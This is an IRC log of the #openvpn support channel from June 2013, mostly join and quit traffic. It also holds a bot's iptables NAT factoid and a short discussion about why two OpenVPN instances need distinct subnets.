08:37 -!- Denial- is now known as Denial
08:39 -!- mback2k__ [sbnc@89.238.84.46] has joined #openvpn
08:40 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
08:40 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
08:40 -!- mback2k_ [sbnc@89.238.84.46] has quit [Ping timeout: 256 seconds]
08:40 -!- lmm [uid6417@gateway/web/irccloud.com/x-vavqjxyjdhsxcuuy] has quit [Ping timeout: 256 seconds]
08:40 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 256 seconds]
08:40 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 256 seconds]
08:41 -!- mback2k__ is now known as mback2k_
08:41 -!- lmm [uid6417@gateway/web/irccloud.com/session] has joined #openvpn
08:41 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
08:42 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
08:42 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
08:43 -!- master_o1_master [~master_of@p4FF24F12.dip0.t-ipconnect.de] has joined #openvpn
08:44 -!- master_of_master [~master_of@79.242.79.18] has quit [Write error: Broken pipe]
08:44 -!- Serano [~serano@rooty.be] has quit [Ping timeout: 301 seconds]
08:44 -!- Serano_ [~serano@rooty.be] has joined #openvpn
08:45 -!- p3rror [~p3rror@41.249.253.52] has left #openvpn ["Leaving"]
08:47 -!- krzee [~k@2610:150:4002::3:1] has quit [Read error: Connection reset by peer]
08:47 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
08:47 -!- ChanServ [ChanServ@services.] has joined #openvpn
08:47 -!- ServerMode/#openvpn [+o ChanServ] by calvino.freenode.net
08:48 -!- pekster_ [~rewt@cl-466.chi-03.us.sixxs.net] has quit [Changing host]
08:48 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn
08:48 -!- bitg [bitg@gateway/shell/xzibition.com/session] has quit [Changing host]
08:48 -!- bitg [bitg@gateway/shell/xzibition.com/x-mzqcxbthddqrcpfj] has joined #openvpn
08:48 -!- lmm [uid6417@gateway/web/irccloud.com/session] has quit [Changing host]
08:48 -!- lmm [uid6417@gateway/web/irccloud.com/x-krbwehkczfyoefik] has joined #openvpn
08:48 -!- ChanServ [ChanServ@services.] has left #openvpn []
08:48 -!- mode/#openvpn [+o plaisthos] by ChanServ
08:49 -!- bitg [bitg@gateway/shell/xzibition.com/x-mzqcxbthddqrcpfj] has quit [Changing host]
08:49 -!- bitg [bitg@unaffiliated/bitg] has joined #openvpn
08:49 -!- bitg [bitg@unaffiliated/bitg] has quit [Changing host]
08:49 -!- bitg [bitg@gateway/shell/xzibition.com/x-mzqcxbthddqrcpfj] has joined #openvpn
08:50 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-ydvkyllbefzfvmxb] has joined #openvpn
08:50 -!- lmm is now known as lmm_
08:52 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
08:56 -!- MrPockets [~MevinKitt@CPE-72-129-142-124.new.res.rr.com] has quit [Changing host]
08:56 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
08:56 -!- MikeH_ [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has quit [Ping timeout: 240 seconds]
08:56 -!- kenyon [kenyon@2600:3c01::f03c:91ff:fe93:b0d1] has joined #openvpn
08:56 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has quit [Quit: WeeChat 0.3.8]
08:56 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Ping timeout: 240 seconds]
08:56 -!- MikeH [MikeH@2a01:7e00::f03c:91ff:fe93:f271] has joined #openvpn
08:56 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
08:56 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
08:56 -!- mode/#openvpn [+o krzee] by ChanServ
08:56 -!- kenyon is now known as Guest46147
08:57 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 256 seconds]
09:13 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
09:21 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
09:25 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
09:25 -!- sysdoc_ [~sysdoc@pool-71-105-33-97.lsanca.dsl-w.verizon.net] has joined #openvpn
09:25 -!- ichtys is now known as midacts
09:27 -!- rheddry [~levifig@spwn.co] has joined #openvpn
09:28 -!- mback2k__ [sbnc@89.238.84.46] has joined #openvpn
09:28 -!- Dropje_ [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
09:28 -!- You're now known as ecrist
09:28 -!- mode/#openvpn [+o ecrist] by ChanServ
09:29 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services]
09:30 -!- levifig [~levifig@spwn.co] has quit [Read error: Operation timed out]
09:30 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Ping timeout: 240 seconds]
09:30 -!- mback2k_ [sbnc@89.238.84.46] has quit [Read error: Operation timed out]
09:30 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has quit [Ping timeout: 240 seconds]
09:30 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 240 seconds]
09:30 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 240 seconds]
09:30 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Ping timeout: 240 seconds]
09:30 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Ping timeout: 240 seconds]
09:30 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
09:30 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn
09:30 -!- mback2k__ is now known as mback2k_
09:30 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host]
09:30 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn
09:30 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
09:31 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
09:31 -!- mode/#openvpn [+o vpnHelper] by ChanServ
09:31 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
09:32 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
09:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
09:32 -!- mode/#openvpn [+o krzee] by ChanServ
09:36 -!- Netsplit *.net <-> *.split quits: Serano_, jgeboski, lbft, soapee01, Mike--, Cultist, druid, joshie, rheddry, speed_racer84,  (+11 more, use /NETSPLIT to show all of them)
09:39 -!- 18VAA8UFV [ingo@coop.ikrabbe-ask.de] has left #openvpn []
09:42 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving]
09:44 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
09:45 -!- Guest46147 [kenyon@2600:3c01::f03c:91ff:fe93:b0d1] has left #openvpn []
09:46 -!- kenyon [kenyon@2600:3c01::f03c:91ff:fe93:b0d1] has joined #openvpn
09:48 -!- rheddry [~levifig@spwn.co] has joined #openvpn
09:48 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
09:48 -!- Serano_ [~serano@rooty.be] has joined #openvpn
09:48 -!- master_o1_master [~master_of@p4FF24F12.dip0.t-ipconnect.de] has joined #openvpn
09:48 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
09:48 -!- riddle [riddle@us.yunix.net] has joined #openvpn
09:48 -!- joko [~joko@147.102.37.22] has joined #openvpn
09:48 -!- ele_ [~maarten@pinky.elexer.com] has joined #openvpn
09:48 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
09:48 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
09:48 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
09:48 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
09:48 -!- joshie [~josh@joshie.net] has joined #openvpn
09:48 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
09:48 -!- druid [~druid@unaffiliated/druid] has joined #openvpn
09:48 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
09:49 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
09:49 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has joined #openvpn
09:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
09:50 -!- sysdoc_ [~sysdoc@pool-71-105-33-97.lsanca.dsl-w.verizon.net] has joined #openvpn
09:50 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Remote host closed the connection]
09:51 -!- ele [~maarten@pinky.elexer.com] has joined #openvpn
09:51 -!- ele_ [~maarten@pinky.elexer.com] has quit [Remote host closed the connection]
09:51 -!- joko [~joko@147.102.37.22] has quit [Remote host closed the connection]
09:51 -!- joko_ [~joko@147.102.37.22] has joined #openvpn
09:52 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
09:53 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
09:54 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Client Quit]
09:55 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:58 -!- lbft [~lbft@2605:6400:1:fed5:22:2e7c:e883:4138] has quit [Changing host]
09:58 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
10:00 -!- Netsplit *.net <-> *.split quits: Willis, brad, kevinsky, BtbN
10:00 -!- Netsplit over, joins: brad
10:00 -!- krzee [~k@openvpn/community/support/krzee] has quit [Write error: Connection reset by peer]
10:00 -!- Netsplit over, joins: BtbN
10:01 -!- Netsplit *.net <-> *.split quits: joko_, mjixx, brad, Masxmasx{AFK}, MeanderingCode
10:02 -!- joko [~joko@147.102.37.22] has joined #openvpn
10:02 -!- Willis [Willis@173.234.237.131] has joined #openvpn
10:03 -!- Netsplit over, joins: mjixx
10:03 -!- Netsplit over, joins: brad
10:04 -!- vpopov [~happylife@dyn-32-122.fttbee.kis.ru] has joined #openvpn
10:16 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:16 -!- mode/#openvpn [+o krzee] by ChanServ
10:18 -!- sysdoc_ [~sysdoc@pool-71-105-33-97.lsanca.dsl-w.verizon.net] has quit [Quit: Leaving]
10:19 -!- raidz_away is now known as raidz
10:24 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
10:29 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
10:29 -!- paccer [uid4847@gateway/web/irccloud.com/x-wauqeovlgscugchb] has joined #openvpn
10:30 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Excess Flood]
10:32 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 264 seconds]
10:33 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
10:34 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
10:35 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
10:38 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:38 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
10:41 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:41 -!- xTz_ [xtz@DeathStar.Techn0.eu] has joined #openvpn
10:41 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 256 seconds]
10:41 -!- mback2k_ [sbnc@89.238.84.46] has quit [Ping timeout: 256 seconds]
10:41 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 256 seconds]
10:41 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 256 seconds]
10:42 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 256 seconds]
10:42 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 256 seconds]
10:42 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 256 seconds]
10:42 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 256 seconds]
10:42 -!- kirin` [telex@gateway/shell/anapnea.net/x-lhkqdqgipgvvqzxd] has quit [Ping timeout: 256 seconds]
10:42 -!- Zenum [~znc@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
10:42 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 256 seconds]
10:42 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
10:42 -!- qmr [~qmr@50.116.18.140] has quit [Ping timeout: 256 seconds]
10:42 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 256 seconds]
10:42 -!- kirin` [telex@gateway/shell/anapnea.net/session] has joined #openvpn
10:42 -!- kirin` [telex@gateway/shell/anapnea.net/session] has quit [Changing host]
10:42 -!- kirin` [telex@gateway/shell/anapnea.net/x-hbqjqwnjnkwzlrux] has joined #openvpn
10:43 -!- Zenum [~znc@sponge.acol.edu.au] has joined #openvpn
10:43 -!- Zenum [~znc@sponge.acol.edu.au] has quit [Changing host]
10:43 -!- Zenum [~znc@unaffiliated/zenum] has joined #openvpn
10:43 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
10:43 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
10:43 -!- BtbN [znc@btbn.de] has joined #openvpn
10:43 -!- i7c [~i7c@80-69-77-233.colo.transip.net] has joined #openvpn
10:43 -!- i7c [~i7c@80-69-77-233.colo.transip.net] has quit [Changing host]
10:43 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
10:43 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
10:43 -!- qmr [~qmr@50.116.18.140] has joined #openvpn
10:43 -!- troj [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
--- Log closed Wed Jun 05 10:43:47 2013
--- Log opened Wed Jun 05 10:55:24 2013
10:55 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
10:55 -!- Irssi: #openvpn: Total of 182 nicks [7 ops, 0 halfops, 0 voices, 175 normal]
10:56 < ecrist_> fucking freenode
10:56 -!- Irssi: Join to #openvpn was synced in 50 secs
10:56 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
10:57 -!- Netsplit *.net <-> *.split quits: lmm_, @krzee, troyt, brad, MeanderingCode, bitg, ScriptFanix, vpopov, swiftkey, Sorcier_FXK,  (+4 more, use /NETSPLIT to show all of them)
10:59 -!- Netsplit over, joins: Sorcier_FXK
10:59 -!- Netsplit over, joins: jzaw
11:06 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
11:09 -!- vpopov [~happylife@dyn-32-122.fttbee.kis.ru] has joined #openvpn
11:13 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-krbwehkczfyoefik] has joined #openvpn
11:13 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
11:13 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
11:13 -!- troyt [~troyt@2001:1938:240:2000::3] has joined #openvpn
11:13 -!- bitg [bitg@gateway/shell/xzibition.com/x-nukxwubmvxmyisuf] has joined #openvpn
11:13 -!- bitg [bitg@gateway/shell/xzibition.com/x-nukxwubmvxmyisuf] has quit [Changing host]
11:13 -!- bitg [bitg@unaffiliated/bitg] has joined #openvpn
11:13 -!- bitg [bitg@unaffiliated/bitg] has quit [Changing host]
11:13 -!- bitg [bitg@gateway/shell/xzibition.com/x-nukxwubmvxmyisuf] has joined #openvpn
11:15 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
11:15 -!- mode/#openvpn [+o krzee] by ChanServ
11:18 < oc80z> thats middlebox router doing SNAT (mailing list) was interesting...
11:20 < oc80z>    7. OpenVPN and NAT source Port change on firewall (Gerhard Wiesinger)
11:20 < oc80z>    8. Re: OpenVPN and NAT source Port change on firewall (Gert Doering)
11:24 -!- vpopov [~happylife@dyn-32-122.fttbee.kis.ru] has quit [Remote host closed the connection]
11:27 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
11:36 -!- pekster_ is now known as pekster
11:40 -!- ShapeShifter499 [~ShapeShif@bounce.around.the.world.panicbnc.net] has joined #openvpn
12:03 -!- meepmeep_ [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
12:04 -!- _b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
12:04 -!- EmLeX_ [~emx@37.46.193.18] has joined #openvpn
12:05 -!- Netsplit *.net <-> *.split quits: Aketzu, cnf, zamba, eennaam, pwrcycle, defswork, cruxeternus, barhom_, zarrsh_, thalweg,  (+21 more, use /NETSPLIT to show all of them)
12:05 -!- _b00b is now known as b00b
12:06 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
12:08 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has joined #openvpn
12:08 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
12:08 -!- hjohnson_ [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
12:08 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:08 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
12:08 -!- ngharo_ [~ngharo@nexus.sypherz.com] has joined #openvpn
12:08 -!- Netsplit over, joins: JPeterson, qmr, xTz_, paccer, zamba, Tera, novaflash, eennaam, Poster, Poster|w (+7 more)
12:08 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Excess Flood]
12:09 -!- jtrucks_ is now known as Guest66143
12:10 -!- Netsplit *.net <-> *.split quits: Masxmasx{AFK}
12:11 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
12:11 -!- Netsplit over, joins: Masxmasx{AFK}
12:11 -!- eennaam [~pi@unaffiliated/eennaam] has quit [Ping timeout: 252 seconds]
12:11 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
12:11 -!- defswork [~andy@141.0.50.105] has joined #openvpn
12:13 -!- Guest66143 [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Remote host closed the connection]
12:13 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:14 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
12:14 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: Lost terminal]
12:14 -!- pwrcycle [~pwrcycle@173.214.160.92] has quit [Changing host]
12:14 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has joined #openvpn
12:15 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:15 -!- eennaam [~pi@unaffiliated/eennaam] has joined #openvpn
12:17 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 256 seconds]
12:18 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has joined #openvpn
12:18 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 246 seconds]
12:18 -!- ||arifaX [~quassel@unaffiliated/arifax/x-427475] has quit [Client Quit]
12:20 -!- mete [~mete@mete.shell.la] has joined #openvpn
12:30 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
12:31 -!- jtrucks__ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:31 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:33 -!- jtrucks__ [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: Lost terminal]
12:33 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Quit: Lost terminal]
12:37 -!- hjohnson_ is now known as hjohnson
12:41 -!- master_o1_master [~master_of@p4FF24F12.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
12:43 -!- master_of_master [~master_of@p4FF24F12.dip0.t-ipconnect.de] has joined #openvpn
12:45 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:48 -!- Thermi_ [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
12:49 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
12:51 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
12:54 -!- jtrucks [jtrucks@freenode/staff/lopsa.foundingmember.jtrucks] has joined #openvpn
12:55 -!- erry is now known as erryone
12:56 -!- Thermi_ is now known as Thermi
13:10 -!- mattock is now known as mattock_afk
13:24 -!- erryone is now known as erry
13:37 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
13:39 -!- chenli [~chenli@59.108.60.58] has quit [Read error: Connection reset by peer]
13:40 -!- chenli [~chenli@59.108.60.58] has joined #openvpn
13:43 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has quit [Quit: ZNC - http://znc.in]
13:48 -!- Thermi [~Thermi@HSI-KBW-134-3-232-31.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
13:57 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:04 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:16 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 245 seconds]
14:21 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Ping timeout: 256 seconds]
14:27 -!- brad`_ [~brad@78.129.242.122] has quit [Ping timeout: 256 seconds]
14:29 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit [Ping timeout: 256 seconds]
14:30 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 245 seconds]
14:30 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
14:30 -!- mback2k__ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
14:30 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
14:31 -!- Eagleman7 [~Eagleman@vpn.eagleman.net] has joined #openvpn
14:31 -!- brad [~brad@78.129.242.122] has joined #openvpn
14:31 -!- mback2k__ is now known as mback2k_
14:34 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
14:42 -!- mete [~mete@mete.shell.la] has quit [Read error: Operation timed out]
14:45 -!- mete [~mete@mete.shell.la] has joined #openvpn
14:57 <@krzee> !linnat
14:57 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
15:02 -!- Netsplit *.net <-> *.split quits: brad, Masxmasx{AFK}, TheWarden
15:05 -!- brad [~brad@78.129.242.122] has joined #openvpn
15:07 -!- ry4nn [~ry4nn@8.23.136.13] has joined #openvpn
15:08 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
15:09 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has quit [Ping timeout: 240 seconds]
15:09 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
15:17 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
15:18 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
15:18 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
15:19 -!- TheWarden_ [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Client Quit]
15:28 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
15:35 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has quit [Ping timeout: 240 seconds]
15:35 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
15:39 -!- MacGyver_ [~MacGyver@kershaw.polvanaubel.com] has quit [Ping timeout: 240 seconds]
15:41 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has quit [Ping timeout: 240 seconds]
15:43 -!- Denial [~Denial@90.208.15.68] has quit []
15:44 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
15:44 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
15:44 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
15:49 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
16:04 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
16:05 -!- rOOb [~zero@unaffiliated/devicezer0] has quit [Ping timeout: 256 seconds]
16:08 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
16:09 -!- Masxmasx{AFK} is now known as Masxmasx
16:10 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
16:10 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
16:12 -!- antiwire [~antiwire@unaffiliated/antiwire] has joined #openvpn
16:16 < antiwire> Does anyone have an idea as to why this is the case? http://pastebin.com/raw.php?i=mDTHuGK4
16:17 < antiwire> one config running at a time, everything works correctly, two instances running on different ports and the non-internet access config doesn't allow any traffic at to flow
16:22 < pekster> antiwire: Those are running on the same hsot? You need to uniquely number your networks
16:22 < rob0> 0. Why didn't you wrap your long lines in that paste? 1. Why did you give each instance the same netblock? How could that work? RFC 1918 is a big place, lots of room, spread out and use some of it. 2. You really should not have your easy-rsa CA on the same system as your server.
16:22 < antiwire> rob0: even if this server is for one client at a time? just me from a single device at a time
16:23 < antiwire> I get it now though, I didn't think it would matter
16:23 < rob0> How does the system know which 10.10.10.0/24 goes to which openvpn instance?
16:23 < rob0> of course it matters
16:23 < antiwire> yeah, I understand now that you've said it. I assumed the routes didn't become active until the client connected.
16:24 < pekster> That's the wonder of the OSI model: lower levels (the kernel's IP stack) isn't aware at all you're using a VPN; routes are treated on a per-packet basis, not on a per-application basis
16:26 -!- mike [~zero@pool-173-48-178-3.bstnma.fios.verizon.net] has joined #openvpn
16:26 -!- mike is now known as Guest15617
16:28 < antiwire> Thanks guys, wasn't exactly seeking to be flamed though. I incorrectly assumed that the routes would not be injected into the server until the client connected...
16:31 < rob0> where were you flamed? By whom?
16:33 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
16:35 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
16:37 <@krzee> lol if that was flaming you dont wanna ask me about bridging
16:39 < havoc> I want to bridge TAP, how to, please?
16:39 < havoc> ;)
16:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:40 < Aketzu_> spinal tap?
16:44 -!- Guest15617 [~zero@pool-173-48-178-3.bstnma.fios.verizon.net] has left #openvpn []
16:44 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:47 < antiwire> Maybe it wasn't a flaming and I'm just being a pussy. I just posted all that info in pastebin as a quick way to get the context built up. I understand that keeping the CA on the server is bad and I am just using this as a test environment right now.
16:48 < pekster> Flaming is when people are being intentionally rude and agressive/abusive to you. You'll find the hacker community in the FOSS world is often terse and blunt, but that's separate from being intentionally rude
16:48 < antiwire> understood, can I have a hug now though?
16:49 < rob0> well, you can have a beer, I'm not feeling huggy right now (not your fault)
16:49 < antiwire> that works
16:52 < nowak> antiwire: it would be possible with up/down scripts, assign ip to interface when client connects, remove it when disconnects
16:56 < pekster> You cannot have multiple networking using the same network range like that without extensively complicated policy routing nowak. Suggesting otherwise to people who that is (at least as I see it) over their head isn't really helpful
16:57 < rob0> and what would be the point of it? Why not just keep it simple and use different ranges?
16:58 < pekster> No point, outside of RFC6598 (and if you're doing that over a VPN you'd better already be an expert in what you're doing)
16:58 < nowak> for example to allow same client to connect either with udp or tcp
16:58 < pekster> No, don't do that. In theory you could bridge that, but don't. The proper way to do that is unique network ranges. Tun is for routing; use it accordingly
16:58 < rob0> and so it can. It will just have a different address depending on protocol.
